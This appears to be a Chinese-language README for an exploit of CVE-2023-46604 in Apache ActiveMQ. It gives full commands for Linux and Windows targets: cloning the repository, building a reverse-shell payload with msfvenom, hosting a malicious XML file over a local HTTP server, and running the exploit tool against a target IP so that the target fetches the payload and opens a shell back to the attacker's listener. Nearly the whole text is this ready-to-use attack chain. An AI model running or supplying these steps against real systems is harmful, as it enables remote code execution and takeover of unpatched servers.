此漏洞利用建立在 https://github.com/X1cT34m (https://github.com/X1r0z/ActiveMQ-RCE) 的基础工作上。我们进一步开发了该技术,利用 Metasploit 框架 (https://github.com/rapid7/metasploit-framework) 实现了反弹 Shell。
重要提示:请手动将 XML 文件中的 IP 地址(第 11 行的 0.0.0.0)更改为生成 payload 时的 IP 地址。如果按照以下命令操作,该 IP 应为您的监听器 IP 地址。此外,{IP_Of_Hosted_XML_File} 也将是您的监听器 IP 地址。
针对 Linux/Unix 目标
git clone https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell
cd CVE-2023-46604-RCE-Reverse-Shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST={Your_Listener_IP/Host} LPORT={Your_Listener_Port} -f elf -o test.elf
python3 -m http.server 8001
./ActiveMQ-RCE -i {Target_IP} -u http://{IP_Of_Hosted_XML_File}:8001/poc-linux.xml
针对 Windows 目标
git clone https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell
cd CVE-2023-46604-RCE-Reverse-Shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST={Your_Listener_IP/Host} LPORT={Your_Listener_Port} -f eXE -o test.exe
python3 -m http.server 8001
./ActiveMQ-RCE -i {Target_IP} -u http://{IP_Of_Hosted_XML_File}:8001/poc-windows.xml



特别感谢 https://github.com/Anon4mous 对我的积极支持。